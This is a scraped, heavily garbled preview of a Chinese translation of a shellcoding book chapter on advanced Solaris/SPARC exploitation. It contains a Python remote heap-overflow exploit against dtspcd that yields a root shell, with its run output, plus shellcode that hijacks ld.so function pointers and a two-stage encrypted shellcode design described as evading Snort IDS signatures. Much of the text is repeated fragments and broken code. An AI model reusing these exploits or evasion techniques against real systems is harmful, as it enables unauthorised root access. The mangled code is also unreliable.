![shellcoder手冊(cè)11高級(jí)solaris破解_第1頁(yè)](http://file4.renrendoc.com/view11/M02/0F/37/wKhkGWVwteeAHAxPAAOe87nhlQ0088.jpg)
![shellcoder手冊(cè)11高級(jí)solaris破解_第2頁(yè)](http://file4.renrendoc.com/view11/M02/0F/37/wKhkGWVwteeAHAxPAAOe87nhlQ00882.jpg)
![shellcoder手冊(cè)11高級(jí)solaris破解_第3頁(yè)](http://file4.renrendoc.com/view11/M02/0F/37/wKhkGWVwteeAHAxPAAOe87nhlQ00883.jpg)
![shellcoder手冊(cè)11高級(jí)solaris破解_第4頁(yè)](http://file4.renrendoc.com/view11/M02/0F/37/wKhkGWVwteeAHAxPAAOe87nhlQ00884.jpg)
![shellcoder手冊(cè)11高級(jí)solaris破解_第5頁(yè)](http://file4.renrendoc.com/view11/M02/0F/37/wKhkGWVwteeAHAxPAAOe87nhlQ00885.jpg)
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
高級(jí)Solaris破解本高級(jí)Solaris破解本章將介紹利用動(dòng)態(tài)鏈接程序的高Solaris破解技術(shù),也會(huì)介紹怎樣Shellcode,SPARCABI對(duì)動(dòng)態(tài)鏈接有詳細(xì)的說(shuō)明,為了更全面地掌握這些概念并學(xué)習(xí)動(dòng)態(tài)鏈接怎樣在多種結(jié)工作讀一下文檔,可以在Linux里通過(guò)改GlobalOffsetTable(GOT)入口獲取執(zhí)行控制的方法已經(jīng)被證明是行之有效的,并在公開(kāi)或私下的破解代碼里廣為使用。它是迄今為止破解write-to-anywhere-in-memory溢出原語(yǔ)(例如格式化串錯(cuò)誤,堆溢出,等等)最健壯最可靠誤來(lái)說(shuō)LinuxBSD操作系統(tǒng)里更GOT是最好的破解帶菌者。但不幸地是,因?yàn)镾PARC上,GOT不包含任何直接引用對(duì)象里的符號(hào)的有效虛擬地址。我們將涉及看作符號(hào)libc.soProcedureLinkageTabel(PLT)為在所有的內(nèi)存映射對(duì)象里尋找符號(hào)地址盡心盡力。對(duì)在所有對(duì)象的.text區(qū)段里被引用的符號(hào)的初始請(qǐng)求,PLT將用描述符號(hào)的偏移把控制權(quán)傳給動(dòng)態(tài)鏈接程序(Solaris注解:我們不處理符號(hào)名,而是用代表符號(hào)的在PLT里位置的偏移。這是一種對(duì)破產(chǎn)生深遠(yuǎn)影響的錯(cuò)綜復(fù)雜的(.dynstr)表,檢驗(yàn)這個(gè)請(qǐng)求是否滿足在分解(或定位)符號(hào)之后,動(dòng)態(tài)鏈接程序用指令修補(bǔ)請(qǐng)求符號(hào)PLT入口。萬(wàn)一它要再次執(zhí)行瘋狂的動(dòng)態(tài)鏈接過(guò)程。Linuxglibc動(dòng)態(tài)鏈接程序?qū)崿F(xiàn)那樣用新分解的符號(hào)SPARCSolaris之間的主要差異內(nèi)存里的兩個(gè)長(zhǎng)整數(shù)應(yīng)該是線程地址空間內(nèi)的有效地址。如果你忘了怎么做5章Linux上的堆溢出11.1SingleSteppingtheDynamice鏈接程序,這將向我們顯示對(duì)鏈接程序的功能性所不可缺少的許多派遣(p)表。單步線程地址空間的相同位置。這是遠(yuǎn)程攻擊者的夢(mèng)想—可靠又常駐的函數(shù)指針讓我們反匯編并單步執(zhí)行下面的例子,找出什么可能成新破解帶菌Solaris/SPARC可執(zhí)行文件#include{printf("uberhax0r}bash-2.03#gcc-olinkmelinkme.cbash-2.03#gdb-qlinkme(gdb)disassemblemainDumpofassemblercodeforfunction0x10688<main+4>:0x1068c<main+8>:0x10690<main+12>:0x106940x10698%sp,-112, %o0,0x358,%o0 %hi(0x10400),!0x107580x1069c<main+24>:0x106a0<main+28>:0x106a4<main+32>:0x106a8<main+36>:0x106ac<main+40>:0x106b0<main+44>:0x106b4<main+48>:0x106b8<main+52>:0x106bc<main+56>:Endofassemblerdump.(gdb)b*main(gdb) %o0,0x368,%o0 0x1069c<main+24>:0x106a0<main+28>:0x106a4<main+32>:0x106a8<main+36>:0x106ac<main+40>:0x106b0<main+44>:0x106b4<main+48>:0x106b8<main+52>:0x106bc<main+56>:Endofassemblerdump.(gdb)b*main(gdb) %o0,0x368,%o0 %o7,%l7,!0x10768Startingprogram:(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...Breakpoint1,0x10684inmain(gdb)x/i0x10690(gdb)x/4i0x208180x20818<printf>:0x2081c<printf+4>:0x208200x20824%hi(0x1e000),0x207a0接程序的分解函數(shù)(gdb)b*0x20818(gdb)display/i$pc1:x/i 0x10684(gdb) %sp,-112,繼續(xù)printf()函數(shù)PLT入口設(shè)置斷Breakpoint2,0x20818inprintf()1:x/i$pc 0x20818<printf>:(gdb)x/4i %hi(0x1e000),0x20818<printf>:0x208200x20824%hi(0x1e000),0x207a0(gdb)helloprintf第一次從.text區(qū)段被引PLT,把執(zhí)行(gdb)helloprintf第一次從.text區(qū)段被引PLT,把執(zhí)行重定向到動(dòng)態(tài)鏈接程序映射的內(nèi)存映像。動(dòng)態(tài)鏈接程序分解函數(shù)(printf)在映射對(duì)象里的位置,在這個(gè)例子里,libc.so直接執(zhí)行到這個(gè)位置。當(dāng)有任何對(duì)printf更進(jìn)一步的引用時(shí),動(dòng)態(tài)鏈接程序也用將跳到libcprintf入口的指令修printfPLT入口。象你從下面的反匯編代碼中看到的,動(dòng)態(tài)鏈接程序更printfPLT入口。注意這個(gè)地址――0xff304418printflibc.so里的位置。后面是檢驗(yàn)printflibc.so里的真正位置的方法Breakpoint2,0x20818inprintf()1:x/i$pc 0x20818<printf>:(gdb)x/4i %hi(0x1e000),0x20818<printf>:0x208200x20824%hi(0x1e000),%hi(0xff304400),%g1+0x18!0xff304418672K例子bash-2.03#nm-x/usr/lib/libc.so.1|grep||->>printf()within下面的計(jì)算將得出printf()在我們例子的地址空間里的精確位置bash-2.03#gdb(gdb)prinft“0x%.8x\n”,0x00084418+0xFF280000地址0xff304418printf()在我們例子中的精確位置。象預(yù)期那樣,動(dòng)態(tài)鏈接程序用printf()在線程地址空間里的精確地址更新PLT的printf入口。在printf()的PLT入口設(shè)置斷點(diǎn),從這里單步跟蹤到動(dòng)態(tài)鏈接程(gdb)b*0x20818(gdb)rStartingprogram:(nodebuggingsymbolsfound)...(nodebugging(gdb)b*0x20818(gdb)rStartingprogram:(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...Breakpoint1,0x20818inprintf(gdb)display/i1:x/i$pc (gdb)si0x2081cinprintf %hi(0x1e000),1:x/i 0x2081c<printf+4>:0x207a00x207a0in_PROCEDURE_LINKAGE_TABLE_1:x/i-64,0x207a00x207a4in_PROCEDURE_LINKAGE_TABLE_1:x/i 0x207a4 這是真正的call指令,將把我們帶到動(dòng)態(tài)鏈接程序的入口函數(shù)0x207a8in_PROCEDURE_LINKAGE_TABLE_1:x/i$pc0x207a8現(xiàn)在,讓我們查看call指令的延遲槽0xff3b297cin??1:x/I$pc0xffffffffff3b297c:mov眼下,我們正位于ld.so映射的內(nèi)存映像里。為了簡(jiǎn)潔,在我們碰到目標(biāo)區(qū)段前,不解釋每條指令。下面就是這個(gè)簡(jiǎn)短的逆向工程會(huì)話1:x/i$pc0xffffffffff3b297c:mov%i7,1:x/i$pc0xffffffffff3b2980:save%sp,-96,%sp1:x/i$pc0xffffffffff3b2984:mov%i0,%o31:x/i$pc0xffffffffff3b2988:add%i7,-4,%o0PLT的地址1:x/i$pc0xffffffffff3b298c:srl%g1,0xa,%g1%o0PLT的地址1:x/i$pc0xffffffffff3b298c:srl%g1,0xa,%g1printf()PLT內(nèi)的入口編1:x/i$pc0xffffffffff3b2990:add%o0,%g1,%o0PLTprintf()的地址1:x/i$pc0xffffffffff3b2994:move%g1,%o1PLT里的入口編1:x/i$pc0xffffffffff3b2998:call1:x/i$pc0xffffffffff3b299c:ld[%i7+8],也稱(chēng)為鏈接圖。查看/usr/include/sys/link.h了解它的布局?,F(xiàn)在用下面的參數(shù)調(diào)用0xff3c34c8位置的函數(shù)(忽略似乎被設(shè)置的高位;0xffffffffff3c34c8實(shí)際上0xff3c34c8:func(address_of_PLT,slot_number_in_PLT,address_of_link_map,0xff3c34c8(0x20818,0x78,0xff3a0018,1:x/i1:x/i1:x/i0xffffffffff3c34c8:save%sp,-144,0xffffffffff3c34cc:call%hi(0x1f000),基本上,這個(gè)狀態(tài):保留一些棧并把輸入?yún)?shù)移入輸入寄存器?,F(xiàn)在,我們處理的所以前的地址和偏移量都在0xff3c34d4leaf到%i3的寄存器里。把%o1寄存器設(shè)為0x1f000并跳1:x/i1:x/i1:x/i1:x/i1:x/i0xffffffffff3c34d8:add0xffffffffff3c34e0:0xffffffffff3c34e4:%i3,%o1,0x19c,%i2,%o1,%o7,%i0,1:x/i 1:x/i 0xffffffffff3c34ec: [%fp+-4前1:x/i 1:x/i 0xffffffffff3c34ec: [%fp+-4前面的指令把前面提到的所有的輸入寄存器值保存在局部寄存器或臨時(shí)寄存器里。意:內(nèi)部結(jié)構(gòu)的地址保存在%i4。最后,這段指令把控制權(quán)交給0xff3bda9c處的函1:x/i1:x/i1:x/i0xffffffffff3bdaa0:0xffffffffff3bdaa4:%sp,-96,%sp%hi(0x24800),其實(shí),這段代碼把%o1設(shè)為0x24800,調(diào)用0xff3bdaa8處的函數(shù)1:x/i1:x/i1:x/i1:x/i0xffffffffff3bdaac:add0xffffffffff3bdab0:0xffffffffff3bdab4:%o1,0x3c8,%o1,%o7,1,%o0!這段代碼把前面的0x24800的值與調(diào)用者的地址(這是在前的調(diào)用指令的位0xff3bdaa0)相加,把結(jié)果復(fù)制到%i0。執(zhí)行流再次直接轉(zhuǎn)到0xff3b92ec處的其它的函數(shù)1:x/i1:x/i1:x/i0xffffffffff3b92ec:0xffffffffff3b92f0:call0xffffffffff3b92f4:%o7,%hi(0x29000),這和以前的塊相同;我們立即用額外的操作把控制傳給其它的函數(shù)。我們用的值設(shè)置%o4。調(diào)用者的位置保存在%o5里,進(jìn)入0xff3b92f8處的函數(shù)?,F(xiàn)在,到了我們苦追尋的圣懷上面。如果你對(duì)上面的解釋感到乏味,那你現(xiàn)在應(yīng)該打起十二分精神1:x/i %o4,0x378,!1:x/i %o4,%o7,前面的兩條指令譯成%040x378o70x290000x3780xff3b92f0(者的位置?,F(xiàn)在,%g1包含內(nèi)部ld.so結(jié)構(gòu)的地址,對(duì)破解來(lái)說(shuō),那是主要的1:x/i 0xffffffffff3b9300: %o5,前面的代碼段(fragment)將把調(diào)用者的調(diào)用者移到我們的調(diào)用者的地址。的過(guò)程將使當(dāng)前的執(zhí)行塊回到調(diào)用者的調(diào)用者,而不是我們的最初的調(diào)用者(gdb)inforeg1:x/i 0xffffffffff3b9304: [%g1+0x30],1:x/i 0xffffffffff3b9308: [%g1],1:x/i (gdb)x/x1:x/i 0xffffffffff3b9308: [%g1],1:x/i (gdb)x/x$g1+成員是一個(gè)指向函數(shù)指針表的指針。這個(gè)表,或函數(shù)指針數(shù)組的第一個(gè)入口被下面的指令派struct{0x30:unsignedlong…通過(guò)下面的計(jì)算,我們可以確定我們的函數(shù)指針表(gdb)x/x$g1+本質(zhì)上,0xff3e21b4包含表的地址,表的第一個(gè)入口將是動(dòng)態(tài)鏈接程序?qū)⑻D(zhuǎn)的下一136kSolaris操作系統(tǒng)里,0xff3b0000是被映射到每個(gè)線程地址空間的動(dòng)態(tài)鏈的地址。你可以用/usr/bin/pmap程序檢驗(yàn)它。有了它,你就可以在ld.so內(nèi)找到函數(shù)指針(數(shù)組)的位置bash-2.03#gdb(gdb)printf 0x000321b4是我們?cè)趌d.so內(nèi)找到的地址。用下面的命令可以顯示這個(gè)寶貝thr_jmp_table(線程跳轉(zhuǎn)表)原來(lái)是存貯內(nèi)部ld.so函數(shù)指針的數(shù)組?,F(xiàn)在,讓我們面的例子在運(yùn)行中校驗(yàn)我們的理論#include/*http://lsd-charshellcode[]=;/*<shellcode-#include/*http://lsd-charshellcode[]=;/*<shellcode-main(intargc,char{longlong*addr=(longprintf("lalalala//ld.sobase+|0x000321b4|0x0000001c|OBJT//0xFF3B0000+ptr=(long*)*ptr++=(long)((long*)strcmp("mocha","latte");//thiswillmakeusenterthedynamic//sincethereisnopriorcallto}bash-2.03#./hiyarlalalala#lcdsrc()#lcdsrc()用它獲取執(zhí)行控制。由于帶各種補(bǔ)ld.so.1二進(jìn)制文件會(huì)引入新的指令,所以,我們需要編一個(gè)簡(jiǎn)單的數(shù)據(jù)庫(kù)來(lái)保thr_jmp_table偏移量。我們將把發(fā)現(xiàn)這些偏移量的練習(xí)留給讀者,如果可能的話,最好包括我們可能遺漏的、來(lái)自不同補(bǔ)丁級(jí)別的額外的偏移量5.8Generic_108528-14sun4uSPARCSUNW,UltraSPARC-IIi-接下來(lái),為健壯可靠地獲取執(zhí)行控制,我們將在遠(yuǎn)程堆溢出破解中演示怎樣使用通過(guò)遞增堆地址的方法進(jìn)行暴力猜解。我們也需要用下面列表里的下一個(gè)入口改變self.thr_jmp_table=[0x321b4,0x361d8,0x361e0,0x381e8#noir@||noir@SinanEren(c)2004dtspcdheapPORTCHANNEL_ID=SPC_ABORT=SPC_REGISTER=PORTCHANNEL_ID=SPC_ABORT=SPC_REGISTER=classdefinit(self,self.args=defstrreturnclassdefinitself.seq=defspc_register(self,user,return"4"+"\x00"+user++"10"+"\x00"+defspc_write(self,buf,cmd):self.data="%08x%02x%04x%04xself.seq+=1self.data+=buf"%(CHANNEL_ID,cmd,ifself.sck.send(self.data)<raiseDTSPCDException,"networkproblem,packetnotfullydefself.recvbuf=iflen(self.recvbuf)<raiseDTSPCDException,"networkproblem,packetnotfullyself.chan=string.atol(self.recvbuf[:8],16)self.cmd=string.atol(self.recvbuf[8:10],16)self.mbliflen(self.recvbuf)<raiseDTSPCDException,"networkproblem,packetnotfullyself.chan=string.atol(self.recvbuf[:8],16)self.cmd=string.atol(self.recvbuf[8:10],16)self.mbl=string.atol(self.recvbuf[10:14],16)self.seqrecv=string.atol(self.recvbuf[14:18],#print"chan,cmd,len,seq:",self.chan,self.cmd,self.recvbuf=iflen(self.recvbuf)<DTSPCDException,"networkpacketnotreturnclassdefinit(self,target,user="",port=PORT):self.user=userDTSPCDClient.init#shellcode:write(0,"/bin/ksh",self.shellcode=\8)+F_DUP2FD,0-1-2)set_user(self,self.user=returnset_target(self,set_user(self,self.user=returnset_target(self,self.target=socket.gethostbyname(target)exceptsocket.gaierror,err:raiseDTSPCDException,"DTSPCDExploit,"+target+""returnset_port(self,self.port=returndefself.uname_d={"hostname":"","os":"","version":"","arch":""self.uname_d={"hostname":"","os":"","version":"","arch":""self.spc_write(self.spc_register("root","\x00"),self.resp=exceptraiseDTSPCDException,"Nonstandart=toREGISTERself.resp=self.uname_d={"hostname":"os":self.resp[1],\"arch":self.resp[3]}printself.spc_write("",defself.sck=socket.socket(socket.AF_INET,self.sck.connect((self.target,raiseDTSPCDException,"DTSPCDExploit,Host:"+++str(self.port)+""+defexploit(self,retloc,self.ovf="\xa4\x1c\x40\x11\x20\xbf\xff\xff"*((4096-8self.ovf+=self.shellcode+"\x00\x00\x10\x3e"+"\x00\x00\x0f\xf4"++self.get_chunk(retloc,self.ovf+="A"*((0x103eself.ovf+=self.shellcode+"\x00\x00\x10\x3e"+"\x00\x00\x0f\xf4"++self.get_chunk(retloc,self.ovf+="A"*((0x103e-8)-self.spc_write(self.spc_register("",self.ovf),#self.spc_write("",+++"\xff\xff\xff\xff""\x45\x45\x45\x45"+\struct.pack(">l",(retloc-8))print"[*]retrievingremoteversionprint#dosomeparsinglaterself.ldso_base=0xff3b0000#solaris7,8alsoself.thr_jmp_table=[0x321b4,0x361d8,0x361e0,0x381e8variouspatchclustersself.increment=]foreachinself.retaddr_base=0x2c000#vanillasolaris8heapbrute#almostalwayswhileself.retaddr_base<0x2f000:#heapbruteforceprint"trying;retloc:0x%08x,retaddr:whileself.retaddr_base<0x2f000:#heapbruteforceprint"trying;retloc:0x%08x,retaddr:0x%08x"%\((self.ldso_base+each),self.retaddr_base)self.recvbuf=self.sck.recv(100)ifself.recvbuf.find("ksh")!=-1:print"gotshellcoderesponse:",self.recvbufexceptreturn-self.t=telnetlib.Telnet()self.t.sock=self.sck-ifname=="mainiflen(sys.argv)<print"usage:dtspcd_exp.pytarget_ip"exp=#print"user,target,port:",讓我們看看這個(gè)破解怎么工 retrievingremote讓我們看看這個(gè)破解怎么工 retrievingremoteversion{'arch':'sun4u','hostname':'slint','os':'SunOS','version':trying;retloc:0xff3e21b4,retaddr:0x0002c000trying;retloc:0xff3e21b4,retaddr:0x0002c400trying;retloc:0xff3e21b4,retaddr:0x0002c800gotshellcoderesponse:/bin/kshuid=0(root)暴力猜解將在root目錄中留下一個(gè)core文件;首次跳到堆空間時(shí)并沒(méi)有碰到負(fù)載+Shellcode。對(duì)于事后分析我們的掛鉤技術(shù)來(lái)說(shuō),這個(gè)core文件是一個(gè)好的起點(diǎn)。我點(diǎn)時(shí)間看能從它里面找到什么bash-2.03#gdb-q/usr/dt/bin/dtspcd(nodebuggingsymbolsfound)...CorewasgeneratedProgramterminatedwithsignal4,IllegalInstruction.Readingsymbolsfrom/usr/dt/lib/libDtSvc.so.1... 0x2c820in??()(gdb)0x2c820in??()0xff3c34f0in??()0xff3b29a0in??0x246e4in_PROCEDURE_LINKAGE_TABLE_0x12c0cinClient_Register0x13e34inSPCD_MainLoopUntil()0x12868inmain()(gdb)x/4i0x12c0c-0x12c08 %g2,0x108,0x12c0c(gdb)x/3i0x24744 0x24744<Xestrcmp>:0x2474c%hi(0x1b000),0x12c0c(gdb)x/3i0x24744 0x24744<Xestrcmp>:0x2474c%hi(0x1b000),程序跳到堆了,我們發(fā)現(xiàn)地0xff3c34f0被映射ld.so.1.text區(qū)段駐留dtspcd地址空間里的地注解:在GDB里,你可以用bt命令執(zhí)行棧跟11.2SolarisSPARC堆溢出的各種技巧正如我們?cè)诘?0章看到的,使用內(nèi)部堆指針操縱宏或函數(shù)改寫(xiě)任意內(nèi)存地址的每個(gè)堆字很可能是一條非法指令。典型的,破解nop緩沖區(qū)中間的某個(gè)地方插入jumpsomebyteforward”指令,假設(shè)這將跳過(guò)有問(wèn)題的長(zhǎng)字,并把我們帶到Shellcode。我們?cè)谶@里將“jumpforward”指令,而是用可選的nop達(dá)到我們的目標(biāo)。下面是從dtspcd破解代碼里得xor%l1,%l1,下面是一個(gè)失敗的、到nop緩沖區(qū)的跳轉(zhuǎn)xor%l1,xor%l1,xor%l1,xor%l1,std%f62,[%i0+0x1ac|->overwrittenwiththefakechunk'slongstd%f62,[%i0+0x1ac|->overwrittenwiththefakechunk'slong下面是一個(gè)成功的、到nop緩沖區(qū)的跳轉(zhuǎn)xor%l1,xor%l1,xor%l1,xor%l1,std%f62,[%i0+0x1acxor指令之一,我們將愉快地跳過(guò)它。為了省時(shí)間,我們不愿意花時(shí)間確定那個(gè)可能性是正正如我們看到的,每個(gè)可能retaddr4的增量嘗試了兩次。在這期間,我們假設(shè)第一retaddr_bass可能改寫(xiě)分支指令而xor指令。如果兩個(gè)都不為我們工作,那我們先看第一步write(0,“/bin/ksh”,8了。你可能在想為什么是“/bin/ksh”而不是其它的東西呢?選KornShell的原因是我們exec()系統(tǒng)調(diào)用使用過(guò)的字符串,從而節(jié)省空exec()系統(tǒng)調(diào)用使用過(guò)的字符串,從而節(jié)省空間接下來(lái),第二步for(i=0;i<3;i++fcnt(0,F_DUP3FD,i我們只為套接字0stdin,stdoutstderr文件描述符直達(dá)第三步exec(“/bin/ksh”,NULL在那里,你有常見(jiàn)的、Solaris/SPARC風(fēng)格的Shell派生技巧。這個(gè)匯編組件使用字“/bin/ksh”,write()組件也用它通知破解――我們已經(jīng)成功11.3高級(jí)Solaris/SPARC傳統(tǒng)上,UnixShellcode一般依靠連續(xù)的系統(tǒng)調(diào)用來(lái)實(shí)現(xiàn)基本的連通性和權(quán)限提升,例程中普遍應(yīng)用同shellcode,使基于特征IDS廠商很容易檢測(cè)到破解代碼。按字節(jié)精確Shellcode或普通操作不是那么有用IDS廠商在匹配新派Shell與客戶端之間傳DetectionwithSnort(譯者注:已有中譯版。這本書(shū)包含一些精彩章節(jié),比如說(shuō)怎樣基于捕獲的原始包編寫(xiě)Snort特征。(rloin,rsh,telnet,文傳輸?shù)腢nix命令。這即使不是現(xiàn)代UnixShellcode最大的缺陷,也是最主要的缺陷之一讓我們看一條來(lái)自SnortIDS(2.0.0)的規(guī)則alertipanyany->anyany(msg:"ATTACKRESPONSESidcheckreturnedcontent:"uid=0(root)";classtype:bad-unknown;sid:498;包uid=0(root)SnortIDSattack-responses.rules有一些類(lèi)似的例子在這一節(jié),我們Shellcode的端對(duì)端加密。為了完全加密數(shù)據(jù)通訊,我們甚至采用近似極端的方blowfish加密我們Shellcodeblowfish加密通信信道過(guò)程中,我們還發(fā)現(xiàn)了最近UnixShellcode的其它的主要限制Shellocde技術(shù)基完成我們的目標(biāo)。Win32破解開(kāi)發(fā)受益于加載庫(kù)函數(shù)的杰出靈活性,為各種API已經(jīng)很長(zhǎng)一段時(shí)間了。(本書(shū)的Windows章節(jié)對(duì)這些技術(shù)有詳細(xì)的描述。現(xiàn)在,通信信道shellcode內(nèi)利libpcap竊聽(tīng)網(wǎng)絡(luò)流量。在跳轉(zhuǎn)之前,我們應(yīng)該注意到第二階段的Shellcode期望網(wǎng)絡(luò)套接字的編號(hào)能保存在%i1,因此,我們?cè)谔D(zhuǎn)前需要設(shè)置它。下面是用匯編和偽代碼形式表示的第一階段shellcode:assuming"sock"willbethenetworksocketnumber.whetherfoundbygetpeername()tricksgrabananonymousmemoryregionwiththemmapsystemcallmap=mmap(0,0x8000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_SHARED,-1,/*readinthesecond-stageshellcodefromthenetworksocketlen=read(sock,map,/*gooverthemappedregionlentimesandflushtheinstructioncache*/for(i=0;i<len;i+=4,map+=4)iflush/*setthesocketnumberin%i1registerandjumptothenewlymapped_asm_("movsock,%i1");f=(void(*)())map;現(xiàn)在,讓我們把上面的偽代碼轉(zhuǎn)換成SPARC匯編.align.global!MAP_ANON|MAP_SHARED,1,%l1,%l1,%o08,%l1%l1,12,!%o0=!%o1=7,%l1,28,!%o2=%o3,0x101,%o3!%o3=-1,!%o4=-%o5!%o5=!7,%l1,28,!%o2=%o3,0x101,%o3!%o3=-1,!%o4=-%o5!%o5=!8!!%l1=!addrofnew!theaddressthenewmemoryregionin!!lenread(sock,map,socketnumbercanhardcoded,orusegetpeername!socknumberassumedtobein!addressofthenewmemory%i1,%l1,%l1,%g2,%o18,%l1%l1,3,8!bytestoread!3!traptosystem-8,%g2,%l1-%l2,%l2,4,!flushtheinstruction!%o0=numberofbytes!loop%o0/4!incrementthe!socketnumberisalreadyin%g2,8,%g2+!jumptothemaped!delay%l4,3!debugtrap,shouldneverbereached如果用/usr/bin/truss跟蹤,最初的Shellcode將產(chǎn)生如下輸0)=read(0,0xFF380000,read(0,"aaaaaaaaread(0,"aaaaaaaaaaaa"..,=Incurredfault#6,FLTBOUNDS%pc=0x84BD8584Receivedsignal#11,SIGSEGV[default](0xf380000我們現(xiàn)在將為第二shellcode收集各種主意,并以此結(jié)束本節(jié)的學(xué)習(xí)。第二階這樣你就能更好地理解正在發(fā)生什么------ld.so.1intomemory(once_dlsyminnewlyregionof(dynamicsymbolandstringtables)for_dlsym()functionfread,popen,fclose,memset,strlen.dynsym,andreturnusing_dlsym()dlopen()/usr/local/ssl/lib/libcrypto.so(thislibrarycomeswithlocateBF_set_key()andBF_cfb64_encrypt()fromtheloadedobjectsettheblowfishencryptionkeyenteraproxyloop(infiniteloopthatreadsandwritestothenetwork代理循環(huán)的偽代read()fromthenetworksocket(clientsendsencrypteddecryptwhatevertheexploitsendover.(usingBF_cfb64_encrypt()withDECRYPTflag)popen()pipethedecrypteddatatothefread()theoutputfromtheshell(thisistheresultofthepipeddoanstrlen()ontheoutputfrompopen()(tocalculateitsencrypttheoutputwiththekey(usingBF_cfb64_encrypt()withENCRYPTwrite()ittothesocket(exploitsidenowneedstodecryptthememset()inputandoutputbufferstofclose()thejumptotheread()fromsocketandwaitfornew我們來(lái)看真正的代碼.align%o7,0x368,%i2,0,5,!LDSO8%o0,.align%o7,0x368,%i2,0,5,!LDSO8%o0,0,%o00,%o5115,8%i2,%o0,%i2,!needtostore!addrfromtotemp!restore!locationof_dlsymin117,8%i4,6,8!0xff3b0000isld.sobase%i3,%o0,!addressof!store_dlsym()in[%i2+]-%i2,8%i4,6,8!0xff3b0000isld.sobase%i3,%o0,!addressof!store_dlsym()in[%i2+]-%i2,+!store_dlopen()in-%i2,+!store_popen()in-%i2,!"fread"+!storefread()in-%i2,+!storefclose()in-%i2,104,[%i2+!storestrlen()in-%i2,112,%o0,[%i2+!storememset()in[%i2+4],%i2,120,257,!RTLD_GLOBAL|%o0,[%i2+!storememset()in[%i2+4],%i2,120,257,!RTLD_GLOBAL|-2,%i2,152,%o0,[%i2+!storeBF_set_key()infunc--2,%i2,168,!"BF_cfb64_encrypt"!call%o0,[%i2+!storeBF_cfb64_encrypt()in!BF_set_key(&BF_KEY,APIoverwrites%g2%i2,0xc8,%o264,%o1%i2,0x110,%o0[%i2+28],%o3!!!!BF_set_key()%i1,some%i2,!somewhereafter%i4,3,!readbufferin!8%o0,-!lenreturnedfrom!-1returnedexit!BF_cfb64_encrypt(in,out,strlen(in),&key,ivec,&num,enc);DE-%o0,8%o0,-!lenreturnedfrom!-1returnedexit!BF_cfb64_encrypt(in,out,strlen(in),&key,ivec,&num,enc);DE-%o0,%i4,!!lengthof%i4,%l1,%i4,%l1,%i2,0x110,%o1,0x40,%g0,!duplicateof!!!!ivec=!!num=0enc[%sp+XX]%o1,%g0,stack%g0,0[%i2+!%i5,%i2,[%i2+!!!readbuffer"rw"_popen()%o0,!storeFILE%i4,1,%o2%i3,!!!1!!fread()[%i2+%i4,[%i2+!strlen()%o1,!BF_cfb64_encrypt(in,out,strlen(in),&key,ivec,&num,enc);EN-%o0,%i4,%o2,!!lengthofin!store
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 山西工商學(xué)院《學(xué)前教育學(xué)(媒)》2023-2024學(xué)年第二學(xué)期期末試卷
- 海南軟件職業(yè)技術(shù)學(xué)院《科技論文寫(xiě)作》2023-2024學(xué)年第二學(xué)期期末試卷
- 南京林業(yè)大學(xué)《面向?qū)ο蟪绦蛟O(shè)計(jì)及C++》2023-2024學(xué)年第二學(xué)期期末試卷
- 江西冶金職業(yè)技術(shù)學(xué)院《國(guó)際市場(chǎng)營(yíng)銷(xiāo)B(雙語(yǔ))》2023-2024學(xué)年第二學(xué)期期末試卷
- 通化師范學(xué)院《機(jī)械工程檢測(cè)技術(shù)》2023-2024學(xué)年第二學(xué)期期末試卷
- 親子主題餐廳裝修合同
- 二零二五年度蘇州工業(yè)園區(qū)勞動(dòng)合同管理與薪酬福利設(shè)計(jì)
- 2025年度互聯(lián)網(wǎng)企業(yè)員工勞動(dòng)集體合同(創(chuàng)新發(fā)展)
- 《核裂變與核聚變》課件
- 《句式變換好》課件
- 四川省自貢市2024-2025學(xué)年上學(xué)期八年級(jí)英語(yǔ)期末試題(含答案無(wú)聽(tīng)力音頻及原文)
- 2025-2030年中國(guó)汽車(chē)防滑鏈行業(yè)競(jìng)爭(zhēng)格局展望及投資策略分析報(bào)告新版
- 2025年上海用人單位勞動(dòng)合同(4篇)
- 二年級(jí)上冊(cè)口算題3000道-打印版讓孩子口算無(wú)憂
- 高中英語(yǔ)北師大版必修第一冊(cè)全冊(cè)單詞表(按單元編排)
- 新教科版科學(xué)小學(xué)四年級(jí)下冊(cè)全冊(cè)教案
- 2024中考語(yǔ)文試卷及答案長(zhǎng)沙
- 2024年高考生物總復(fù)習(xí)高中生物必修一全冊(cè)重點(diǎn)知識(shí)梳理筆記(全冊(cè)完整版)
- 2025年生物安全年度工作計(jì)劃
- 人教版數(shù)學(xué)六年級(jí)下冊(cè)全冊(cè)核心素養(yǎng)目標(biāo)教學(xué)設(shè)計(jì)
- 通用電子嘉賓禮薄
評(píng)論
0/150
提交評(píng)論